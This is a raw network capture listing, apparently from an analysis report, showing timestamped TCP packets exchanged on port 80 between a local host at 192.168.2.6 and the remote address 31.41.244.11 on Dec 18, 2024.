Dec 18, 2024 11:47:44.694938898 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.695003986 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.695043087 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.696064949 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.696110964 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.696168900 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.696208954 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.697272062 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.697323084 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.697372913 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.697410107 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.698479891 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.698524952 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.698566914 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.698606014 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.699620008 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.699665070 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.699734926 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.699773073 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.700800896 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.700846910 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.700897932 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.700936079 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.701971054 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.702033043 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.702080965 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.702120066 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.703166008 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.703219891 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.703275919 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.703322887 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.704659939 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.704698086 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.704708099 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.704730988 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.705549002 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.705594063 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.705643892 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.705682039 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.706748962 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.706784010 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.706794977 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.706815004 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.707969904 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.708018064 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.708156109 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.708194971 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.709105968 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.709148884 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.709229946 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.709265947 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.710246086 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.710294008 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.710414886 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.710458994 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.711523056 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.711574078 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.711616993 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.711654902 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.712675095 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.712723017 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.712781906 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.712820053 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.713813066 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.713870049 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.714260101 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.714301109 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.843858957 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.843935966 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.844013929 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.844140053 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.844412088 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.844460964 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.844505072 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.844547987 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.845793009 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.845841885 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.845869064 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.845913887 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.846806049 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.846852064 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.846951008 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.846995115 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.847966909 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.848016024 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.848083019 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.848126888 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.849221945 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.849273920 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.849319935 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.849359035 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.850431919 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.850486040 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.850517988 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.850554943 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.851533890 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.851577997 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.851625919 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.851663113 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.852762938 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.852813959 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.852889061 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.852926970 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.854070902 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.854125023 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.854162931 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.854202032 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.855061054 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.855110884 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.855129004 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.855173111 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.856245995 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.856292963 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.856343985 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.856384039 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.857439995 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.857491016 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.857544899 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.857590914 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.858620882 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.858665943 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.858724117 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.858771086 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.859880924 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.859927893 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.860045910 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.860089064 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.861119032 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.861166000 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.861231089 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.861272097 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.862449884 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.862507105 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.862637997 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.862711906 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.863938093 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.863981009 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.864109039 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.864147902 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.865818024 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.865866899 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.865957975 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.865998983 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.866763115 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.866813898 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.866869926 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.866910934 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.867954016 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.868000984 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.868204117 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.868244886 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.869188070 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.869240999 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.869317055 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.869357109 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.870249987 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.870291948 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.870378017 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.870419025 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.871810913 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.871830940 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.871857882 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.871881962 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.872736931 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.872782946 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.872867107 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.872908115 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.873753071 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.873799086 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.873821020 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.873862982 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.874677896 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.874708891 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.874721050 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.874743938 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.875587940 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.875633001 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.875679016 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.875716925 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.876480103 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.876524925 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.876529932 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.876569986 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.877580881 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.877629042 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.877682924 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.877722025 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.878824949 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.878876925 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.878952026 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.878992081 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.880163908 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.880208969 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.880259037 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.880295992 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.881196976 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.881238937 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.881283998 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.881323099 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.882281065 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.882325888 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.882400990 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.882438898 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.883598089 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.883658886 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.883697987 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.883734941 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.884668112 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.884712934 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.884757996 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.884794950 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.885828018 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.885879993 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.885978937 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.886018991 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.887033939 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.887084007 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.887141943 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.887181044 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.888272047 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.888317108 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.888384104 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.888425112 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.891374111 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.891392946 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.891408920 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.891424894 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.891433954 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.891469002 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.891469002 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.892494917 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.892514944 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.892548084 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.892561913 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.893440008 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.893487930 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.893572092 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.893616915 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.894495010 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.894543886 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.894629955 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.894673109 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.895576954 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.895620108 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.895723104 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.895761967 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.896836042 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.896853924 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.896893978 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.897855997 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.897903919 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.897984982 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.898032904 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.899163008 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.899209023 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.899249077 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.899302959 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.900136948 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.900180101 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.900392056 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.900434017 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.901226044 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.901273012 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.901602983 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.901647091 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.902601004 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.902638912 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.902811050 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.902858019 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.904066086 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.904134989 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.904138088 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.904172897 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.905025959 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.905070066 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.905106068 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.905121088 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.906177044 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.906233072 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.035039902 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.035145998 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.035156012 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.035195112 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.035598993 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.035645008 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.035674095 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.035716057 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.036808968 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.036855936 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.036943913 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.036988020 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.037974119 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.038019896 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.038100004 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.038142920 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.039205074 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.039251089 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.039256096 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.039328098 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.040872097 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.040923119 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.041034937 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.041089058 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.041883945 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.041930914 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.041966915 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.042005062 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.042716026 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.042762995 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.042833090 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.042874098 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.043921947 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.043975115 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.044083118 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.044123888 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.045063019 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.045106888 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.045119047 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.045157909 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.046293974 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.046339989 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.046386957 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.046428919 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.047444105 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.047488928 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.047512054 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.047552109 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.048644066 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.048688889 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.048733950 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.048774004 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.049877882 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.049936056 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.049968004 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.050009012 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.050987005 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.051033020 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.051071882 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.051111937 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.052200079 CET	80	49878	31.41.244.11	192.168.2.6
